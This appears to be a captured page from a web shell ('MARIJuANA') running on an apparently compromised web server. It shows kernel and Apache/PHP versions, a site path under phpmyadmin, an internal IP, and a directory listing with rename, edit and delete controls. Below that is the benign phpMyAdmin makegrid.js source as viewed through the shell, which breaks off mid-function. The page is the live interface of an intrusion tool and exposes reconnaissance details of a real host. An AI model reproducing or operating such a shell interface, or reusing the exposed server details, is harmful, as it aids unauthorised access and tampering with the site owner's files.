MARIJuANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux instance-20230208-1745 6.8.0-1013-oracle #13~22.04.1-Ubuntu SMP Mon Sep 2 13:02:56 UTC 2024 x86_64
  SOFT : Apache/2.4.52 (Ubuntu) PHP : 8.1.2-1ubuntu2.19
/var/www/barra_do_choca/public_html/phpmyadmin/js/
10.0.0.135

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
codemirror dir drwxrwxr-x 2021-01-14 03:39 R D
designer dir drwxrwxr-x 2021-01-14 03:39 R D
jqplot dir drwxrwxr-x 2021-01-14 03:39 R D
transformations dir drwxrwxr-x 2021-01-14 03:39 R D
vendor dir drwxrwxr-x 2021-01-14 03:39 R D
ajax.js 30.514 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
chart.js 18.075 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
common.js 18.746 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
config.js 26.881 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
console.js 55.938 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
cross_framing_protection.js 0.46 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
db_central_columns.js 10.859 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
db_multi_table_query.js 7.852 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
db_operations.js 6.211 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
db_qbe.js 2.469 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
db_query_generator.js 4.394 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
db_search.js 8.558 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
db_structure.js 15.433 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
db_tracking.js 3.57 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
doclinks.js 20.159 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
error_report.js 10.583 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
export.js 34.24 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
export_output.js 0.282 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
functions.js 171.321 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
gis_data_editor.js 14.425 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
import.js 5.508 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
indexes.js 27.006 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
keyhandler.js 3.255 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
makegrid.js 96.415 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
menu-resizer.js 8.123 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
messages.php 40.42 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
microhistory.js 11.322 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
multi_column_sort.js 3.208 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
navigation.js 59.352 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
normalization.js 27.472 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
page_settings.js 1.708 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
replication.js 3.126 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
rte.js 46.57 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
server_databases.js 5.559 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
server_plugins.js 0.483 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
server_privileges.js 18.579 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
server_status_advisor.js 3.625 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
server_status_monitor.js 84.468 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
server_status_processes.js 6.168 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
server_status_queries.js 1.127 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
server_status_sorter.js 1.962 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
server_status_variables.js 3.186 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
server_user_groups.js 1.341 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
server_variables.js 4.175 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
shortcuts_handler.js 3.188 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
sql.js 37.758 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
tbl_change.js 27.892 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
tbl_chart.js 13.798 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
tbl_find_replace.js 1.54 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
tbl_gis_visualization.js 10.701 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
tbl_operations.js 13.881 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
tbl_relation.js 8.832 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
tbl_select.js 15.437 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
tbl_structure.js 19.414 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
tbl_tracking.js 3.854 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
tbl_zoom_plot_jqplot.js 21.813 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
u2f.js 2.472 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
whitelist.php 1.261 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
REQUEST EXIT
/* vim: set expandtab sw=4 ts=4 sts=4: */ /** * Create advanced table (resize, reorder, and show/hide columns; and also grid editing). * This function is designed mainly for table DOM generated from browsing a table in the database. * For using this function in other table DOM, you may need to: * - add "draggable" class in the table header , in order to make it resizable, sortable or hidable * - have at least one non-"draggable" header in the table DOM for placing column visibility drop-down arrow * - pass the value "false" for the parameter "enableGridEdit" * - adjust other parameter value, to select which features that will be enabled * * @param t the table DOM element * @param enableResize Optional, if false, column resizing feature will be disabled * @param enableReorder Optional, if false, column reordering feature will be disabled * @param enableVisib Optional, if false, show/hide column feature will be disabled * @param enableGridEdit Optional, if false, grid editing feature will be disabled */ function PMA_makegrid (t, enableResize, enableReorder, enableVisib, enableGridEdit) { var g = { /** ********* * Constant ***********/ minColWidth: 15, /** ********* * Variables, assigned with default value, changed later ***********/ actionSpan: 5, // number of colspan in Actions header in a table tableCreateTime: null, // table creation time, used for saving column order and visibility to server, only available in "Browse tab" // Column reordering variables colOrder: [], // array of column order // Column visibility variables colVisib: [], // array of column visibility showAllColText: '', // string, text for "show all" button under column visibility list visibleHeadersCount: 0, // number of visible data headers // Table hint variables reorderHint: '', // string, hint for column reordering sortHint: '', // string, hint for column sorting markHint: '', // string, hint for column marking copyHint: '', // string, hint for copy column name showReorderHint: false, showSortHint: false, showMarkHint: false, // Grid editing isCellEditActive: false, // true if current focus is in edit cell isEditCellTextEditable: false, // true if current edit cell is editable in the text input box (not textarea) currentEditCell: null, // reference to that currently being edited cellEditHint: '', // hint shown when doing grid edit gotoLinkText: '', // "Go to link" text wasEditedCellNull: false, // true if last value of the edited cell was NULL maxTruncatedLen: 0, // number of characters that can be displayed in a cell saveCellsAtOnce: false, // $cfg[saveCellsAtOnce] isCellEdited: false, // true if at least one cell has been edited saveCellWarning: '', // string, warning text when user want to leave a page with unsaved edited data lastXHR : null, // last XHR object used in AJAX request isSaving: false, // true when currently saving edited data, used to handle double posting caused by pressing ENTER in grid edit text box in Chrome browser alertNonUnique: '', // string, alert shown when saving edited nonunique table // Common hidden inputs token: null, server: null, db: null, table: null, /** ********** * Functions ************/ /** * Start to resize column. Called when clicking on column separator. * * @param e event * @param obj dragged div object */ dragStartRsz: function (e, obj) { var n = $(g.cRsz).find('div').index(obj); // get the index of separator (i.e., column index) $(obj).addClass('colborder_active'); g.colRsz = { x0: e.pageX, n: n, obj: obj, objLeft: $(obj).position().left, objWidth: $(g.t).find('th.draggable:visible:eq(' + n + ') span').outerWidth() }; $(document.body).css('cursor', 'col-resize').noSelect(); if (g.isCellEditActive) { g.hideEditCell(); } }, /** * Start to reorder column. Called when clicking on table header. * * @param e event * @param obj table header object */ dragStartReorder: function (e, obj) { // prepare the cCpy (column copy) and cPointer (column pointer) from the dragged column $(g.cCpy).text($(obj).text()); var objPos = $(obj).position(); $(g.cCpy).css({ top: objPos.top + 20, left: objPos.left, height: $(obj).height(), width: $(obj).width() }); $(g.cPointer).css({ top: objPos.top }); // get the column index, zero-based var n = g.getHeaderIdx(obj); g.colReorder = { x0: e.pageX, y0: e.pageY, n: n, newn: n, obj: obj, objTop: objPos.top, objLeft: objPos.left }; $(document.body).css('cursor', 'move').noSelect(); if (g.isCellEditActive) { g.hideEditCell(); } }, /** * Handle mousemove event when dragging. * * @param e event */ dragMove: function (e) { if (g.colRsz) { var dx = e.pageX - g.colRsz.x0; if (g.colRsz.objWidth + dx > g.minColWidth) { $(g.colRsz.obj).css('left', g.colRsz.objLeft + dx + 'px'); } } else if (g.colReorder) { // dragged column animation var dx = e.pageX - g.colReorder.x0; $(g.cCpy) .css('left', g.colReorder.objLeft + dx) .show(); // pointer animation var hoveredCol = g.getHoveredCol(e); if (hoveredCol) { var newn = g.getHeaderIdx(hoveredCol); g.colReorder.newn = newn; if (newn !== g.colReorder.n) { // show the column pointer in the right place var colPos = $(hoveredCol).position(); var newleft = newn < g.colReorder.n ? colPos.left : colPos.left + $(hoveredCol).outerWidth(); $(g.cPointer) .css({ left: newleft, visibility: 'visible' }); } else { // no movement to other column, hide the column pointer $(g.cPointer).css('visibility', 'hidden'); } } } }, /** * Stop the dragging action. * * @param e event */ dragEnd: function (e) { if (g.colRsz) { var dx = e.pageX - g.colRsz.x0; var nw = g.colRsz.objWidth + dx; if (nw < g.minColWidth) { nw = g.minColWidth; } var n = g.colRsz.n; // do the resizing g.resize(n, nw); g.reposRsz(); g.reposDrop(); g.colRsz = false; $(g.cRsz).find('div').removeClass('colborder_active'); rearrangeStickyColumns($(t).prev('.sticky_columns'), $(t)); } else if (g.colReorder) { // shift columns if (g.colReorder.newn !== g.colReorder.n) { g.shiftCol(g.colReorder.n, g.colReorder.newn); // assign new position var objPos = $(g.colReorder.obj).position(); g.colReorder.objTop = objPos.top; g.colReorder.objLeft = objPos.left; g.colReorder.n = g.colReorder.newn; // send request to server to remember the column order if (g.tableCreateTime) { g.sendColPrefs(); } g.refreshRestoreButton(); } // animate new column position $(g.cCpy).stop(true, true) .animate({ top: g.colReorder.objTop, left: g.colReorder.objLeft }, 'fast') .fadeOut(); $(g.cPointer).css('visibility', 'hidden'); g.colReorder = false; rearrangeStickyColumns($(t).prev('.sticky_columns'), $(t)); } $(document.body).css('cursor', 'inherit').noSelect(false); }, /** * Resize column n to new width "nw" * * @param n zero-based column index * @param nw new width of the column in pixel */ resize: function (n, nw) { $(g.t).find('tr').each(function () { $(this).find('th.draggable:visible:eq(' + n + ') span,' + 'td:visible:eq(' + (g.actionSpan + n) + ') span') .css('width', nw); }); }, /** * Reposition column resize bars. */ reposRsz: function () { $(g.cRsz).find('div').hide(); var $firstRowCols = $(g.t).find('tr:first th.draggable:visible'); var $resizeHandles = $(g.cRsz).find('div').removeClass('condition'); $(g.t).find('table.pma_table').find('thead th:first').removeClass('before-condition'); for (var n = 0, l = $firstRowCols.length; n < l; n++) { var $col = $($firstRowCols[n]); var colWidth; if (navigator.userAgent.toLowerCase().indexOf('safari') !== -1) { colWidth = $col.outerWidth(); } else { colWidth = $col.outerWidth(true); } $($resizeHandles[n]).css('left', $col.position().left + colWidth) .show(); if ($col.hasClass('condition')) { $($resizeHandles[n]).addClass('condition'); if (n > 0) { $($resizeHandles[n - 1]).addClass('condition'); } } } if ($($resizeHandles[0]).hasClass('condition')) { $(g.t).find('thead th:first').addClass('before-condition'); } $(g.cRsz).css('height', $(g.t).height()); }, /** * Shift column from index oldn to newn. * * @param oldn old zero-based column index * @param newn new zero-based column index */ shiftCol: function (oldn, newn) { $(g.t).find('tr').each(function () { if (newn < oldn) { $(this).find('th.draggable:eq(' + newn + '),' + 'td:eq(' + (g.actionSpan + newn) + ')') .before($(this).find('th.draggable:eq(' + oldn + '),' + 'td:eq(' + (g.actionSpan + oldn) + ')')); } else { $(this).find('th.draggable:eq(' + newn + '),' + 'td:eq(' + (g.actionSpan + newn) + ')') .after($(this).find('th.draggable:eq(' + oldn + '),' + 'td:eq(' + (g.actionSpan + oldn) + ')')); } }); // reposition the column resize bars g.reposRsz(); // adjust the column visibility list if (newn < oldn) { $(g.cList).find('.lDiv div:eq(' + newn + ')') .before($(g.cList).find('.lDiv div:eq(' + oldn + ')')); } else { $(g.cList).find('.lDiv div:eq(' + newn + ')') .after($(g.cList).find('.lDiv div:eq(' + oldn + ')')); } // adjust the colOrder var tmp = g.colOrder[oldn]; g.colOrder.splice(oldn, 1); g.colOrder.splice(newn, 0, tmp); // adjust the colVisib if (g.colVisib.length > 0) { tmp = g.colVisib[oldn]; g.colVisib.splice(oldn, 1); g.colVisib.splice(newn, 0, tmp); } }, /** * Find currently hovered table column's header (excluding actions column). * * @param e event * @return the hovered column's th object or undefined if no hovered column found. */ getHoveredCol: function (e) { var hoveredCol; $headers = $(g.t).find('th.draggable:visible'); $headers.each(function () { var left = $(this).offset().left; var right = left + $(this).outerWidth(); if (left <= e.pageX && e.pageX <= right) { hoveredCol = this; } }); return h